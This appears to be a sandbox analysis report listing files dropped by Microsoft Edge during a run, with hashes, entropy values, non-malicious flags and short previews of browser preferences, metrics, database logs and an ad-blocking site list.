Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732540472"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\5ade49b4-48a2-4d93-8867-e89813ecd16e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67447833-1EC4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4546533262918193
Encrypted:	false
SSDEEP:	6144:S26PI2WDHkcp/V2uHONm/q5CAD8YAaHP:xkcdVYp
MD5:	8F0345DECADA2C33AE105916F76A9856
SHA1:	CAE6D99E321E2729C72AE5375E734F3B351D0D60
SHA-256:	36F6A83F48BC78C5A3C2C12C0D486824894AEE122F6ABDF77C5E1A8160FB89AB
SHA-512:	CFC3F54F81129AD9FA38410DD88E72B68E990F0F5A31A0F70DFDB682213E500B7253656508FA782F45276D13DF326D7D774AC53514DEB0EC93D0C72CE92BC065
Malicious:	false
Preview:	...@..@...@.....C.].....@...............`...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ewxwih20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\05ea1b95-e0ff-407a-8b80-a86a54440c22.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565473097186714
Encrypted:	false
SSDEEP:	768:DZ3+hCWP3zfrm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYtJLPrwwp9tuF:DZ3+hCWP3zfrmu1jaFPL8ytu
MD5:	C287B6FDA53EAB6908CEF8CA00B12CC4
SHA1:	BE0A6A3BE41580FA9EA2878C6E0FFF254C4A4643
SHA-256:	E942F67C595D1C6C3C98B51A216627669EC9CD3DF0996E4A5D97AA01A45F6271
SHA-512:	331A8CA560DDACB3B5D1DB6F7DB044B5E22F807A8DB87D4D505AB72A9B7C12A14A490DC2B0AA14ABB7D165417F526AFBA6590FF85E1470594D15D2B148B52EF4
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377014067422344","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377014067422344","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2659115d-a81b-45db-a798-d29bee28189d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\49ceefd7-0491-494b-ba3a-22e35cf21bd6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.108494473658318
Encrypted:	false
SSDEEP:	192:stIkdpEsXZp3sZihUkxfC18IDbV+Fj0W5QA66WJQWobaFIMYWP1YJ:stIQEsXZp3fhCbGNQx6WwaTYJ
MD5:	69F7468F914934A9D3DC7F01F033B917
SHA1:	1DE55A792104CA9B14DE2FD66811851658D11AE4
SHA-256:	8D03451C7CEDCE5C69483988A33E2795D332E62D3B1A0F19BA62ABB9E23E688E
SHA-512:	7EFB721307E1023CAA7D58A5353FF9CBA112B7ACC3BDD9305E24AFD4414CA021D0F008EA78C1F169BBC5A34C142F2C3148D744C978F08EF59EFC76EF5568DB34
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377014068037485","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.262719056819565
Encrypted:	false
SSDEEP:	6:HAdAGmAB1923oH+Tcwtp3hBtB2KLlVAp+q2P923oH+Tcwtp3hBWsIFUv:gx3MYebp3dFLop+v4Yebp3eFUv
MD5:	163548A166D38C3277DD0DE56E282BCB
SHA1:	56689367439BDB87E0F1B17669C9703B99B069D8
SHA-256:	248F83F5D95362FC21858D85AC5576D9352B2732840FD08A940F2C2D0F4FCCBF
SHA-512:	1AE8CA6ABE4C0929811509300BBE96100E334B09C5C195DE5286ECA32E863D884FCB2BA2A0B169BDB199FCFE643A6878EC1A477F095CF95B115B16452A379339
Malicious:	false
Preview:	2024/11/25-08:14:33.147 50c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/25-08:14:33.176 50c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222869161923944
Encrypted:	false
SSDEEP:	24576:v+/PN8FKfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8kfx2mjF
MD5:	BB58F355B089E3EA5E102582A66CA1E8
SHA1:	DA4EDFDB076F21742064F0544A779CF0D149861A
SHA-256:	7BB8E811A311CDE5B0016D723051561FD0391391A01FC3DBECDF605219623A60
SHA-512:	79AF0A79629FFB979648A8DD08429A1DC055C0B669DDBCF7FC2D8CA50E4B2527B8081061F7D747B4932FDF9725A3EA9FE4AE926AE30FD3562FFE8BB39E6612C5
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.0941268516381735
Encrypted:	false
SSDEEP:	6:HA7VOq2P923oH+Tcwt9Eh1tIFUt8YAh9RZmw+YAtFkwO923oH+Tcwt9Eh15LJ:g7Av4Yeb9Eh16FUt879/+7tF5LYeb9Er
MD5:	D72EE6B4B9EB839EE95F0652A8DB92BD
SHA1:	F6FC0BE311CE1F2CCD1418750F0ECF2D805B2287
SHA-256:	3AF383BB346AD79BC524583CA1A4BADB2FB8EFB55CB86CD386902B78BE59FCB6
SHA-512:	A99DDC53D9D6CDD669A7A8946BD1DE03408EB386B9E8273E612584C241C3315976F37B605DC48EAD4D51B26BE214A2AD08F537A1C94936AF0C6508E37FFA5BF4
Malicious:	false
Preview:	2024/11/25-08:14:32.809 2080 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-08:14:32.812 2080 Recovering log #3.2024/11/25-08:14:32.823 2080 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.0941268516381735
Encrypted:	false
SSDEEP:	6:HA7VOq2P923oH+Tcwt9Eh1tIFUt8YAh9RZmw+YAtFkwO923oH+Tcwt9Eh15LJ:g7Av4Yeb9Eh16FUt879/+7tF5LYeb9Er
MD5:	D72EE6B4B9EB839EE95F0652A8DB92BD
SHA1:	F6FC0BE311CE1F2CCD1418750F0ECF2D805B2287
SHA-256:	3AF383BB346AD79BC524583CA1A4BADB2FB8EFB55CB86CD386902B78BE59FCB6
SHA-512:	A99DDC53D9D6CDD669A7A8946BD1DE03408EB386B9E8273E612584C241C3315976F37B605DC48EAD4D51B26BE214A2AD08F537A1C94936AF0C6508E37FFA5BF4
Malicious:	false
Preview:	2024/11/25-08:14:32.809 2080 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-08:14:32.812 2080 Recovering log #3.2024/11/25-08:14:32.823 2080 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46256562129358164
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBurp:TouQq3qh7z3bY2LNW9WMcUvBuV
MD5:	575A9A548A884A2FDC3F206DF23A95C6
SHA1:	D9AF88E566FE6EC72D62DABD362787BFC293D297
SHA-256:	09B6CD3A0CD6E33003DFE7ADB5972E53B091C17016B5604D901DEA7BE8361615
SHA-512:	495DED0C4CECDC0AE25C11DA49B0A8AA34861DE1A4240B79A014A353AE25B2963B7C3AC522E0F18AE5754768E870B8EA03A1E5847CEB4BE1BB0D2ED2917565E1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.192878050067617
Encrypted:	false
SSDEEP:	6:HAk/rAq2P923oH+TcwtnG2tMsIFUt8YAkVVFZZmw+YAkVXPNzkwO923oH+TcwtnB:gkTAv4Yebn9GFUt87kv/+7k9F5LYebnB
MD5:	9C0C1749218C22D90A43F593BCC6766A
SHA1:	E294C89A5AF6A1A180F6092E457E978D1DC55D1A
SHA-256:	9E847196C9B79CD134FCAB34122C3B496CDD0CBBC058A960DD214CCA21CCFC1C
SHA-512:	97FE3A26DDECD45FB69C8E768FADCC5EF645BA9C7BE1B5F59F7BDFE7D4B5F54AADD57F5AED0320B2CC8FAF2F47A7BA7F23983A918F5DBE731CA63E4E3944929B
Malicious:	false
Preview:	2024/11/25-08:14:27.589 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-08:14:27.590 1e00 Recovering log #3.2024/11/25-08:14:27.592 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.192878050067617
Encrypted:	false
SSDEEP:	6:HAk/rAq2P923oH+TcwtnG2tMsIFUt8YAkVVFZZmw+YAkVXPNzkwO923oH+TcwtnB:gkTAv4Yebn9GFUt87kv/+7k9F5LYebnB
MD5:	9C0C1749218C22D90A43F593BCC6766A
SHA1:	E294C89A5AF6A1A180F6092E457E978D1DC55D1A
SHA-256:	9E847196C9B79CD134FCAB34122C3B496CDD0CBBC058A960DD214CCA21CCFC1C
SHA-512:	97FE3A26DDECD45FB69C8E768FADCC5EF645BA9C7BE1B5F59F7BDFE7D4B5F54AADD57F5AED0320B2CC8FAF2F47A7BA7F23983A918F5DBE731CA63E4E3944929B
Malicious:	false
Preview:	2024/11/25-08:14:27.589 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-08:14:27.590 1e00 Recovering log #3.2024/11/25-08:14:27.592 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6125265255794415
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jfrpNm4mL:TO8D4jJ/6Up+jLw
MD5:	B6610A702143B61B7D858C8A10D05085
SHA1:	41634464555488B6F0D9B478C983FB30A92C8D3F
SHA-256:	1D1635574D8D276D7B4EB8D0F5E28047F3F4A0E168E32596721C5141058AD91D
SHA-512:	E4BFC93E0F3DFBECDC40ABAAA2C221C931BDE4D8AD527143ACE96FDE49AE7EFED19CD8EE4BEA5CEB9ADE1BE587268ABD4EB2E1929A01DFF4A5A09379FCC5E0D5
Malicious:	false
